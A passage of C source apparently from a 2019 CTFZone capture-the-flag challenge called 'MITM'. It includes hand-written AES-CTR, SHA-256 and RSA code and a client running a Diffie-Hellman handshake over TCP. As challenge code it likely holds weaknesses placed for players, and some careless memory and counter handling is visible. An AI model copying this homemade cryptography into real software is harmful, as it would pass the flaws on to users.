0xd8, 0x31, 0x15, 25 | 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 26 | 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 27 | 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 28 | 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 29 | 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 30 | 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 31 | 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 32 | 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 33 | 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 34 | 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 35 | 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 36 | 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 37 | 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 38 | }; 39 | 40 | static const uint8_t Rcon[11] = {0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36}; 41 | 42 | static uint8_t getSBoxValue(uint8_t num) { 43 | return sbox[num]; 44 | } 45 | 46 | static void KeyExpansion(uint8_t *round_key, const uint8_t *Key) { 47 | unsigned i, j, k; 48 | uint8_t tempa[4]; 49 | 50 | for (i = 0; i < Nk; ++i) { 51 | round_key[(i * 4) + 0] = Key[(i * 4) + 0]; 52 | round_key[(i * 4) + 1] = Key[(i * 4) + 1]; 53 | round_key[(i * 4) + 2] = Key[(i * 4) + 2]; 54 | round_key[(i * 4) + 3] = Key[(i * 4) + 3]; 55 | } 56 | 57 | for (i = Nk; i < Nb * (Nr + 1); ++i) { 58 | k = (i - 1) * 4; 59 | tempa[0] = round_key[k + 0]; 60 | tempa[1] = round_key[k + 1]; 61 | tempa[2] = round_key[k + 2]; 62 | tempa[3] = round_key[k + 3]; 63 | 64 | if (i % Nk == 0) { 65 | 66 | uint8_t u8tmp = tempa[0]; 67 | tempa[0] = tempa[1]; 68 | tempa[1] = tempa[2]; 69 | tempa[2] = tempa[3]; 70 | tempa[3] = u8tmp; 71 | 72 | tempa[0] = getSBoxValue(tempa[0]); 73 | tempa[1] = getSBoxValue(tempa[1]); 74 | tempa[2] = getSBoxValue(tempa[2]); 75 | tempa[3] = getSBoxValue(tempa[3]); 76 | 77 | tempa[0] = tempa[0] ^ Rcon[i/Nk]; 78 | } 79 | if (i % Nk == 4) { 80 | tempa[0] = getSBoxValue(tempa[0]); 81 | tempa[1] = getSBoxValue(tempa[1]); 82 | tempa[2] = getSBoxValue(tempa[2]); 83 | tempa[3] = getSBoxValue(tempa[3]); 84 | } 85 | j = i * 4; 86 | k = (i - Nk) * 4; 87 | round_key[j + 0] = round_key[k + 0] ^ tempa[0]; 88 | round_key[j + 1] = round_key[k + 1] ^ tempa[1]; 89 | round_key[j + 2] = round_key[k + 2] ^ tempa[2]; 90 | round_key[j + 3] = round_key[k + 3] ^ tempa[3]; 91 | } 92 | } 93 | 94 | static void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key, const uint8_t *nonce) { 95 | KeyExpansion(ctx->RoundKey, key); 96 | memcpy (ctx->nonce, nonce, AES_BLOCKLEN); 97 | } 98 | 99 | static void AddRoundKey(uint8_t round, state_t *state, const uint8_t* round_key) { 100 | for (uint8_t i = 0; i < 4; ++i) { 101 | for (uint8_t j = 0; j < 4; ++j) { 102 | (*state)[i][j] ^= round_key[(round * Nb * 4) + (i * Nb) + j]; 103 | } 104 | } 105 | } 106 | 107 | static void SubBytes(state_t *state) { 108 | for (uint8_t i = 0; i < 4; ++i) { 109 | for (uint8_t j = 0; j < 4; ++j) { 110 | (*state)[j][i] = getSBoxValue((*state)[j][i]); 111 | } 112 | } 113 | } 114 | 115 | static void ShiftRows(state_t *state) { 116 | uint8_t temp; 117 | 118 | temp = (*state)[0][1]; 119 | (*state)[0][1] = (*state)[1][1]; 120 | (*state)[1][1] = (*state)[2][1]; 121 | (*state)[2][1] = (*state)[3][1]; 122 | (*state)[3][1] = temp; 123 | 124 | temp = (*state)[0][2]; 125 | (*state)[0][2] = (*state)[2][2]; 126 | (*state)[2][2] = temp; 127 | temp = (*state)[1][2]; 128 | (*state)[1][2] = (*state)[3][2]; 129 | (*state)[3][2] = temp; 130 | 131 | temp = (*state)[0][3]; 132 | (*state)[0][3] = (*state)[3][3]; 133 | (*state)[3][3] = (*state)[2][3]; 134 | (*state)[2][3] = (*state)[1][3]; 135 | (*state)[1][3] = temp; 136 | } 137 | 138 | static uint8_t xtime(uint8_t x) { 139 | return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); 140 | } 141 | 142 | static void MixColumns(state_t *state) { 143 | uint8_t Tmp, Tm, t; 144 | for (uint8_t i = 0; i < 4; ++i) { 145 | t = (*state)[i][0]; 146 | Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3]; 147 | Tm = (*state)[i][0] ^ (*state)[i][1]; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp; 148 | Tm = (*state)[i][1] ^ (*state)[i][2]; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp; 149 | Tm = (*state)[i][2] ^ (*state)[i][3]; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp; 150 | Tm = (*state)[i][3] ^ t; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp; 151 | } 152 | } 153 | 154 | static void encrypt(state_t *state, const uint8_t *round_key) { 155 | uint8_t round = 0; 156 | AddRoundKey(round, state, round_key); 157 | for (round = 1; round < Nr; ++round) { 158 | SubBytes(state); 159 | ShiftRows(state); 160 | MixColumns(state); 161 | AddRoundKey(round, state, round_key); 162 | } 163 | SubBytes(state); 164 | ShiftRows(state); 165 | AddRoundKey(Nr, state, round_key); 166 | } 167 | 168 | static void AES_CTR_crypt_buffer(struct AES_ctx *ctx, uint8_t *buf, uint32_t length) { 169 | uint32_t i, bi; 170 | uint8_t buffer[AES_BLOCKLEN]; 171 | for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { 172 | if (bi == AES_BLOCKLEN) { 173 | memcpy(buffer, ctx->nonce, AES_BLOCKLEN); 174 | encrypt((state_t*)buffer, ctx->RoundKey); 175 | for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { 176 | if (ctx->nonce[bi] == 255) { 177 | ctx->nonce[bi] = 0; 178 | continue; 179 | } 180 | ctx->nonce[bi] += 1; 181 | break; 182 | } 183 | bi = 0; 184 | } 185 | buf[i] = buf[i] ^ buffer[bi]; 186 | } 187 | } 188 | 189 | void AES_init_nonce_and_crypt(uint8_t *key, uint8_t *nonce, unsigned char *data, uint32_t length) { 190 | struct AES_ctx ctx; 191 | AES_init_ctx(&ctx, key, nonce); 192 | AES_CTR_crypt_buffer(&ctx, data, length); 193 | } -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/AESCTR.h: -------------------------------------------------------------------------------- 1 | #ifndef AESCTR_H 2 | #define AESCTR_H 3 | 4 | #include 5 | #include 6 | 7 | void AES_init_nonce_and_crypt(uint8_t *key, uint8_t *nonce, uint8_t *data, uint32_t length); 8 | 9 | #endif -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/DHE_mpz.h: -------------------------------------------------------------------------------- 1 | #ifndef DHE_mpz_H 2 | #define DHE_mpz_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | void DHE_generate_symmetric_key(mpz_t key, mpz_t pub_key, mpz_t priv_key, mpz_t p); 10 | int8_t DHE_generate_parameters(mpz_t p, mpz_t g, uint16_t bits_length); 11 | void DHE_generate_private_and_public_key(mpz_t private_key, mpz_t public_key, mpz_t p, mpz_t g); 12 | 13 | #endif -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/MessageAuth.c: -------------------------------------------------------------------------------- 1 | #include "MessageAuth.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b)))) 9 | #define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b)))) 10 | #define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z))) 11 | #define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) 12 | #define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22)) 13 | #define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25)) 14 | #define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3)) 15 | #define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10)) 16 | 17 | typedef struct { 18 | uint32_t state[8]; 19 | unsigned char data[64]; 20 | uint32_t datalen; 21 | unsigned long long bitlen; 22 | } SHA256_CTX; 23 | 24 | static const uint32_t constant[64] = { 25 | 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5, 26 | 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174, 27 | 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da, 28 | 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967, 29 | 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85, 30 | 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070, 31 | 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3, 32 | 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2 33 | }; 34 | 35 | static void SHA256_transform(SHA256_CTX *ctx, const unsigned char data[]) { 36 | uint32_t a, b, c, d, e, f, g, h, i, j, t1, t2, m[64]; 37 | 38 | for (i = 0, j = 0; i < 16; ++i, j += 4) 39 | m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]); 40 | for ( ; i < 64; ++i) 41 | m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16]; 42 | 43 | a = ctx->state[0]; 44 | b = ctx->state[1]; 45 | c = ctx->state[2]; 46 | d = ctx->state[3]; 47 | e = ctx->state[4]; 48 | f = ctx->state[5]; 49 | g = ctx->state[6]; 50 | h = ctx->state[7]; 51 | 52 | for (i = 0; i < 64; ++i) { 53 | t1 = h + EP1(e) + CH(e,f,g) + constant[i] + m[i]; 54 | t2 = EP0(a) + MAJ(a,b,c); 55 | h = g; 56 | g = f; 57 | f = e; 58 | e = d + t1; 59 | d = c; 60 | c = b; 61 | b = a; 62 | a = t1 + t2; 63 | } 64 | 65 | ctx->state[0] += a; 66 | ctx->state[1] += b; 67 | ctx->state[2] += c; 68 | ctx->state[3] += d; 69 | ctx->state[4] += e; 70 | ctx->state[5] += f; 71 | ctx->state[6] += g; 72 | ctx->state[7] += h; 73 | } 74 | 75 | static void SHA256_init(SHA256_CTX *ctx) { 76 | ctx->datalen = 0; 77 | ctx->bitlen = 0; 78 | ctx->state[0] = 0x6a09e667; 79 | ctx->state[1] = 0xbb67ae85; 80 | ctx->state[2] = 0x3c6ef372; 81 | ctx->state[3] = 0xa54ff53a; 82 | ctx->state[4] = 0x510e527f; 83 | ctx->state[5] = 0x9b05688c; 84 | ctx->state[6] = 0x1f83d9ab; 85 | ctx->state[7] = 0x5be0cd19; 86 | } 87 | 88 | static void SHA256_update(SHA256_CTX *ctx, const unsigned char data[], size_t len) { 89 | for (uint32_t i = 0; i < len; ++i) { 90 | ctx->data[ctx->datalen] = data[i]; 91 | ctx->datalen++; 92 | if (ctx->datalen == 64) { 93 | SHA256_transform(ctx, ctx->data); 94 | ctx->bitlen += 512; 95 | ctx->datalen = 0; 96 | } 97 | } 98 | } 99 | 100 | static void SHA256_final(SHA256_CTX *ctx, unsigned char hash[]) { 101 | uint32_t i; 102 | i = ctx->datalen; 103 | if (ctx->datalen < 56) { 104 | ctx->data[i++] = 0x80; 105 | while (i < 56) 106 | ctx->data[i++] = 0x00; 107 | } 108 | else { 109 | ctx->data[i++] = 0x80; 110 | while (i < 64) 111 | ctx->data[i++] = 0x00; 112 | SHA256_transform(ctx, ctx->data); 113 | memset(ctx->data, 0, 56); 114 | } 115 | ctx->bitlen += ctx->datalen * 8; 116 | ctx->data[63] = ctx->bitlen; 117 | ctx->data[62] = ctx->bitlen >> 8; 118 | ctx->data[61] = ctx->bitlen >> 16; 119 | ctx->data[60] = ctx->bitlen >> 24; 120 | ctx->data[59] = ctx->bitlen >> 32; 121 | ctx->data[58] = ctx->bitlen >> 40; 122 | ctx->data[57] = ctx->bitlen >> 48; 123 | ctx->data[56] = ctx->bitlen >> 56; 124 | SHA256_transform(ctx, ctx->data); 125 | 126 | for (i = 0; i < 4; ++i) { 127 | hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff; 128 | hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff; 129 | hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff; 130 | hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff; 131 | hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff; 132 | hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff; 133 | hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff; 134 | hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff; 135 | } 136 | } 137 | 138 | void SHA256_get_hash_message(unsigned char *message, unsigned char *hash, uint16_t length) { 139 | SHA256_CTX ctx; 140 | SHA256_init(&ctx); 141 | SHA256_update(&ctx, message, length); 142 | SHA256_final(&ctx, hash); 143 | } 144 | 145 | void SHA256_copy_hash_in_mpz(mpz_t hash_out, unsigned char *hash) { 146 | char hash_hex[65] = {0}; 147 | unsigned char chr[3] = {0}; 148 | for (int8_t i = 0; i < SHA256_BLOCK_SIZE; i++) { 149 | if (hash[i] == 0) { 150 | strcpy(hash_hex + 2 * i, "00"); 151 | } 152 | else { 153 | sprintf(chr, "%x", hash[i]); 154 | if (chr[1] == 0) { 155 | chr[1] = chr[0]; 156 | chr[0] = '0'; 157 | } 158 | strncpy(hash_hex + 2 * i, chr, 2); 159 | } 160 | } 161 | mpz_set_str(hash_out, hash_hex, 16); 162 | } 163 | 164 | RSA_key *RSA_key_init(unsigned char *exp, unsigned char *module) { 165 | RSA_key *key; 166 | key = malloc(sizeof(RSA_key)); 167 | memset(key, 0, sizeof(RSA_key)); 168 | if (key == NULL) { 169 | return NULL; 170 | } 171 | mpz_init_set_str(key->exp, exp, 16); 172 | mpz_init_set_str(key->module, module, 16); 173 | return key; 174 | } 175 | 176 | void RSA_encrypt_decrypt_hash(RSA_key *key, mpz_t input) { 177 | mpz_powm(input, input, key->exp, key->module); 178 | } -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/MessageAuth.h: -------------------------------------------------------------------------------- 1 | #ifndef MessageAuth_H 2 | #define MessageAuth_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #define SHA256_BLOCK_SIZE 32 9 | 10 | typedef struct { 11 | mpz_t module; 12 | mpz_t exp; 13 | } RSA_key; 14 | 15 | void SHA256_get_hash_message(unsigned char *message, unsigned char *hash, uint16_t length); 16 | void SHA256_copy_hash_in_mpz(mpz_t hash_out, unsigned char *hash); 17 | RSA_key *RSA_key_init(unsigned char *exp, unsigned char *module); 18 | void RSA_encrypt_decrypt_hash(RSA_key *key, mpz_t input); 19 | 20 | #endif -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/client.c: -------------------------------------------------------------------------------- 1 | #include "MessageAuth.h" 2 | #include "DHE_mpz.h" 3 | #include "AESCTR.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define PORT 8888 18 | #define DIGITAL_SIGNATURE_LENGTH 512 19 | #define KEY_FILE "key_client.txt" 20 | 21 | int32_t create_connection_client(); 22 | void *socket_thread(void *arg); 23 | int8_t secure_connection(int32_t sock, uint8_t *secret_key_AES, uint8_t *nonce); 24 | RSA_key *RSA_server_private_key_init(); 25 | int8_t send_client_hello(int32_t sock); 26 | int8_t check_server_hello(unsigned char *message, uint16_t full_message_length, mpz_t p, mpz_t g, mpz_t A, RSA_key *key); 27 | int8_t send_public_key_with_nonce(int32_t sock, mpz_t private_key, mpz_t p, mpz_t g, uint8_t *nonce); 28 | unsigned char *get_bignum_to_str(mpz_t number); 29 | int8_t create_encryption_key_for_AES(mpz_t private_key, mpz_t B, mpz_t p, uint8_t *secret_key_AES); 30 | unsigned char *receive_data_from_socket(int32_t sock, uint16_t *data_size); 31 | int8_t send_error_message(int32_t sock, unsigned char *message); 32 | int8_t check_input_and_copy_str_to_bignum(unsigned char *data, mpz_t q, uint16_t *position, uint16_t position_offset, unsigned char *pattern, uint16_t full_data_length); 33 | int8_t get_hash_data(unsigned char *message, mpz_t hash, uint16_t length); 34 | int8_t check_hash(unsigned char *full_message, uint16_t full_message_length, mpz_t signature, RSA_key *key); 35 | int8_t nonce_generation(uint8_t *nonce); 36 | unsigned char *bytes_to_hex(uint8_t *bytes, uint8_t length); 37 | 38 | pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; 39 | 40 | void main() { 41 | sigaction(SIGPIPE, &(struct sigaction){SIG_IGN}, NULL); 42 | create_connection_client(); 43 | } 44 | 45 | int32_t create_connection_client(){ 46 | int32_t socket_server, socket_new; 47 | struct sockaddr_in addr_server; 48 | struct sockaddr_storage server_storage; 49 | socklen_t addr_size; 50 | pthread_t tid[1025] = {0}; 51 | uint16_t i = 0; 52 | 53 | socket_server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 54 | if (socket_server == -1) { 55 | printf("ERROR: Socket creation failed with errno %d..\n", errno); 56 | return 0; 57 | } 58 | else 59 | printf("SUCCESS: Socket successfully created...\n"); 60 | setsockopt(socket_server, SOL_SOCKET, SO_REUSEADDR, 0, 0); 61 | setsockopt(socket_server, SOL_SOCKET, SO_REUSEPORT, 0, 0); 62 | memset(&addr_server, 0, sizeof(addr_server)); 63 | addr_server.sin_family = AF_INET; 64 | addr_server.sin_port = htons(PORT); 65 | addr_server.sin_addr.s_addr = htonl(INADDR_ANY); 66 | memset(addr_server.sin_zero, '\0', sizeof addr_server.sin_zero); 67 | if ((bind(socket_server, (struct sockaddr*) &addr_server, sizeof(addr_server))) != 0) { 68 | printf("ERROR: Bind failed with errno %d..\n", errno); 69 | return 0; 70 | } 71 | else 72 | printf("SUCCESS: Socket successfully binded...\n"); 73 | 74 | if ((listen(socket_server, 100)) != 0) { 75 | printf("ERROR: Listen failed with errno %d..\n", errno); 76 | return 0; 77 | } 78 | else 79 | printf("SUCCESS: Waiting for connection...\n"); 80 | while(1) 81 | { 82 | addr_size = sizeof(server_storage); 83 | socket_new = accept(socket_server, (struct sockaddr *) &server_storage, &addr_size); 84 | if (socket_new <= 0 || pthread_create(&tid[i++], NULL, socket_thread, &socket_new) != 0) 85 | printf("Pthread_create was failed..\n"); 86 | if (i >= 1024) { 87 | sleep(5); 88 | i = 0; 89 | while(i < 1024) { 90 | printf("Cancel thread..\n"); 91 | pthread_cancel(tid[i++]); 92 | } 93 | i = 0; 94 | } 95 | } 96 | printf("Normal exit...\n"); 97 | return 0; 98 | } 99 | 100 | void *socket_thread(void *arg) { 101 | uint8_t nonce[17] = {0}; 102 | uint8_t secret_key_AES[33] = {0}; 103 | int32_t connection = *((int *)arg); 104 | if (connection) { 105 | secure_connection(connection, secret_key_AES, nonce); 106 | shutdown(connection, SHUT_RDWR); 107 | close(connection); 108 | printf("Thread exit..\n"); 109 | pthread_exit(NULL); 110 | } 111 | else { 112 | printf("Connection was failed, thread exit..\n"); 113 | pthread_exit(NULL); 114 | } 115 | } 116 | 117 | int8_t secure_connection(int32_t sock, uint8_t *secret_key_AES, uint8_t *nonce) { 118 | RSA_key *key_RSA; 119 | mpz_t p, g, A, client_private_key; 120 | unsigned char *data; 121 | uint16_t data_size; 122 | printf("Creating secure connection. This might take a while...\n"); 123 | send_client_hello(sock); 124 | printf("Client hello was sent...\n"); 125 | data = receive_data_from_socket(sock, &data_size); 126 | if (data == NULL) { 127 | printf("Server hello not received\n"); 128 | send_error_message(sock, "Oops, connection has been terminated by the client..\n"); 129 | return 0; 130 | } 131 | printf("Server hello was received..\n"); 132 | pthread_mutex_lock(&lock); 133 | key_RSA = RSA_server_private_key_init(); 134 | pthread_mutex_unlock(&lock); 135 | if (key_RSA == NULL) { 136 | free(data); 137 | send_error_message(sock, "Oops, connection has been terminated by the client..\n"); 138 | return 0; 139 | } 140 | mpz_init(p); 141 | mpz_init(g); 142 | mpz_init(A); 143 | if (!check_server_hello(data, data_size, p, g, A, key_RSA)) { 144 | mpz_clear(p); 145 | mpz_clear(g); 146 | mpz_clear(A); 147 | free(data); 148 | free(key_RSA); 149 | printf("Server hello error..\n"); 150 | send_error_message(sock, "Oops, connection has been terminated by the client..\n"); 151 | return 0; 152 | } 153 | free(data); 154 | printf("Server hello was checked..\n"); 155 | mpz_init(client_private_key); 156 | if (!send_public_key_with_nonce(sock, client_private_key, p, g, nonce)) { 157 | mpz_clear(p); 158 | mpz_clear(g); 159 | mpz_clear(A); 160 | mpz_clear(client_private_key); 161 | free(key_RSA); 162 | printf("Nonce was not sent..\n"); 163 | send_error_message(sock, "Oops, connection has been terminated by the client..\n"); 164 | return 0; 165 | } 166 | printf("Nonce was sent..\n"); 167 | mpz_clear(p); 168 | mpz_clear(g); 169 | mpz_clear(A); 170 | mpz_clear(client_private_key); 171 | free(key_RSA); 172 | return 1; 173 | } 174 | 175 | RSA_key *RSA_server_private_key_init() { 176 | RSA_key *key; 177 | FILE *fp; 178 | unsigned char e[7] = {"\x00"}; 179 | unsigned char n[516] = {"\x00"}; 180 | fp = fopen(KEY_FILE, "r"); 181 | if (fp == NULL){ 182 | printf("Could not open server key file..\n"); 183 | return NULL; 184 | } 185 | fgets(e, 7, fp); 186 | fgets(n, 516, fp); 187 | fclose(fp); 188 | key = RSA_key_init(e, n); 189 | return key; 190 | } 191 | 192 | int8_t send_client_hello(int32_t sock) { 193 | unsigned char message[37] = "ClientHello:SHA_AES_CTR_RSA_DHE_2048\n"; 194 | uint16_t length = 37; 195 | if ((send(sock, &length, sizeof(uint16_t), 0) == -1) || (send(sock, message, length, 0) == -1)) { 196 | return 0; 197 | } 198 | return 1; 199 | } 200 | 201 | int8_t check_server_hello(unsigned char *message, uint16_t full_message_length, mpz_t p, mpz_t g, mpz_t A, RSA_key *key) { 202 | mpz_t signature; 203 | uint16_t position = 0, data_length = 0; 204 | uint8_t ok = 1; 205 | ok &= check_input_and_copy_str_to_bignum(message, p, &position, 14, "ServerHello:p=", full_message_length); 206 | ok &= check_input_and_copy_str_to_bignum(message, g, &position, 3, "|g=", full_message_length); 207 | ok &= check_input_and_copy_str_to_bignum(message, A, &position, 3, "|A=", full_message_length); 208 | data_length = position; 209 | mpz_init(signature); 210 | ok &= check_input_and_copy_str_to_bignum(message, signature, &position, 3, "|s=", full_message_length); 211 | if (!ok || !check_hash(message, data_length, signature, key)) { 212 | mpz_clear(signature); 213 | return 0; 214 | } 215 | mpz_clear(signature); 216 | return 1; 217 | } 218 | 219 | int8_t send_public_key_with_nonce(int32_t sock, mpz_t private_key, mpz_t p, mpz_t g, uint8_t *nonce) { 220 | mpz_t public_key; 221 | uint16_t message_length = 0; 222 | unsigned char *client_message, *buffer; 223 | mpz_init(public_key); 224 | DHE_generate_private_and_public_key(private_key, public_key, p, g); 225 | message_length = 46 + mpz_sizeinbase(public_key, 16); 226 | client_message = malloc(message_length); 227 | if (client_message == NULL) { 228 | mpz_clear(public_key); 229 | return 0; 230 | } 231 | memset(client_message, 0, message_length); 232 | strncat(client_message, "OK:B=", 5); 233 | buffer = get_bignum_to_str(public_key); 234 | if (buffer == NULL) { 235 | mpz_clear(public_key); 236 | free(client_message); 237 | return 0; 238 | } 239 | strncat(client_message, buffer, mpz_sizeinbase(public_key, 16)); 240 | free(buffer); 241 | strncat(client_message, "|nonce=", 7); 242 | nonce_generation(nonce); 243 | buffer = bytes_to_hex(nonce, 16); 244 | if (buffer == NULL) { 245 | mpz_clear(public_key); 246 | free(client_message); 247 | return 0; 248 | } 249 | memcpy(client_message + 12 + mpz_sizeinbase(public_key, 16), buffer, 32); 250 | free(buffer); 251 | strncat(client_message, "|\n", 2); 252 | if (send(sock, &message_length, sizeof(uint16_t), 0) == -1 || send(sock, client_message, message_length, 0) == -1) { 253 | mpz_clear(public_key); 254 | free(client_message); 255 | return 0; 256 | } 257 | mpz_clear(public_key); 258 | free(client_message); 259 | return 1; 260 | } 261 | 262 | unsigned char *get_bignum_to_str(mpz_t number) { 263 | unsigned char *buffer; 264 | buffer = malloc(mpz_sizeinbase(number, 16) + 1); 265 | if (buffer == NULL) { 266 | return NULL; 267 | } 268 | memset(buffer, 0, mpz_sizeinbase(number, 16) + 1); 269 | mpz_get_str(buffer, 16, number); 270 | return buffer; 271 | } 272 | 273 | unsigned char *receive_data_from_socket(int32_t sock, uint16_t *data_size) { 274 | unsigned char *byte; 275 | unsigned char *message; 276 | uint16_t num_bytes = 0, rec = 0; 277 | fd_set Sockets; 278 | struct timeval tv; 279 | int32_t retval = 0; 280 | FD_ZERO(&Sockets); 281 | FD_SET(sock, &Sockets); 282 | tv.tv_sec = 180; 283 | tv.tv_usec = 0; 284 | retval = select(sock + 1, &Sockets, NULL, NULL, &tv); 285 | if (retval == -1) { 286 | printf("Select error.\n"); 287 | return NULL; 288 | } 289 | else if (retval) { 290 | printf("Data is available now.\n"); 291 | byte = (unsigned char *) data_size; 292 | while (num_bytes < 2) { 293 | if (recv(sock, byte + num_bytes, 1, 0) <= 0) { 294 | break; 295 | } 296 | num_bytes++; 297 | } 298 | if (*data_size <= 0 || *data_size > 2500) { 299 | return NULL; 300 | } 301 | retval = select(sock + 1, &Sockets, NULL, NULL, &tv); 302 | if (retval == -1) { 303 | printf("Select error.\n"); 304 | return NULL; 305 | } 306 | else if (retval) { 307 | printf("Data is available now.\n"); 308 | message = malloc(*data_size + 1); 309 | if (message == NULL) { 310 | return NULL; 311 | } 312 | memset(message, 0, *data_size + 1); 313 | num_bytes = 0; 314 | tv.tv_sec = 1; 315 | while (num_bytes < *data_size) { 316 | retval = select(sock + 1, &Sockets, NULL, NULL, &tv); 317 | if (retval == -1) { 318 | printf("Select error.\n"); 319 | return NULL; 320 | } 321 | else if (retval) { 322 | rec = recv(sock, message + num_bytes, *data_size - num_bytes, 0); 323 | } 324 | else { 325 | break; 326 | } 327 | if (rec <= 0) { 328 | free(message); 329 | return NULL; 330 | } 331 | num_bytes += rec; 332 | } 333 | if (num_bytes != *data_size) { 334 | printf("Invalid data..\n"); 335 | free(message); 336 | return NULL; 337 | } 338 | retval = select(sock + 1, &Sockets, NULL, NULL, &tv); 339 | if (retval == -1) { 340 | printf("Select error.\n"); 341 | return NULL; 342 | } 343 | else if (retval) { 344 | printf("Extra data is available now.\n"); 345 | free(message); 346 | return NULL; 347 | } 348 | return message; 349 | } 350 | else { 351 | printf("No data within 3 minutes.\n"); 352 | return NULL; 353 | } 354 | } 355 | else { 356 | printf("No data within 3 minutes.\n"); 357 | return NULL; 358 | } 359 | } 360 | 361 | 362 | int8_t send_error_message(int32_t sock, unsigned char *message) { 363 | uint16_t message_length = 0; 364 | int32_t retval = 0, error = 0; 365 | socklen_t len = sizeof(error); 366 | message_length = strlen(message); 367 | retval = getsockopt(sock, SOL_SOCKET, 